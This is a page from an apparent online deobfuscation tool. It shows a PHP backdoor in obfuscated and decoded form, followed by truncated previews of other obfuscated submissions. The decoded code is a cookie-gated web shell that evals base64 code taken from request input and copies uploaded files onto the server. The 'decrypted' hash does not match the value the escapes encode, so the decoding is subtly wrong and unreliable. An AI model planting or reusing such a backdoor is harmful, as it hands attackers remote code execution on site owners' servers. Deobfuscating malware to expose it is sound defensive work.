Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
echo 409723 * 20;
if (
    md5($_COOKIE["d"]) ==
    "\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"
) {
    echo "\x6f\x6b";
    eval(base64_decode($_REQUEST["id"]));
    if ($_POST["\165\160"] == "\165\x70") {
        @copy(
            $_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],
            $_FILES["\146\x69\154\x65"]["\156\141\155\x65"]
        );
    }
} 
?>

Decrypted code:

echo 409723 * 20;
if (
    md5($_COOKIE["d"]) ==
    "028f487cb2a60da3ad3878ec"
) {
    echo "ok";
    eval(base64_decode($_REQUEST["id"]));
    if ($_POST["up"] == "up") {
        @copy(
            $_FILES["file"]["tmp_name"],
            $_FILES["file"]["name"]
        );
    }
}

Recent submissions:

var _0xa3d9=["\x34\x37\x4E\x73\x61\x45\x77\x68\x62\x6B\x39\x32\x43\x66\x69\x62\x4D\x4A\x67... <?php class Cbtsesi extends CI_Controller { public function __construct() { goto dACCI... function _Ms0T($_q2Pi6){$_q2Pi6=substr($_q2Pi6,(int)(hex2bin('393038')));$_q2Pi6=substr($... function(_0x140c76,_0x406aba){var _0x3d6b4d=_0x3b1e,_0x1d10e5=_0x140c76();while(!![]){try{... <?php namespace pocketmine\network;${"GL\x4f\x42ALS"}["\x72f\x74\x6cuiqu\x73y\x77"]="proto... var _0xee46 = ["\x6C\x61\x6E\x67\x75\x61\x67\x65", "\x75\x73\x65\x72\x4C\x61\x6E\x67\x75\x... var _0xee46=["\x6C\x61\x6E\x67\x75\x61\x67\x65","\x75\x73\x65\x72\x4C\x61\x6E\x67\x75\x61\... var _0xee46 = ["\x6C\x61\x6E\x67\x75\x61\x67\x65", "\x75\x73\x65\x72\x4C\x61\x6E\x67\x75\x... var _0x3172 = ["\x6C\x61\x6E\x67\x75\x61\x67\x65", "\x75\x73\x65\x72\x4C\x61\x6E\x67\x75\x... var _0xee46=["language","userLanguage","null","","prepend","after"," > div:nth-child(",")"...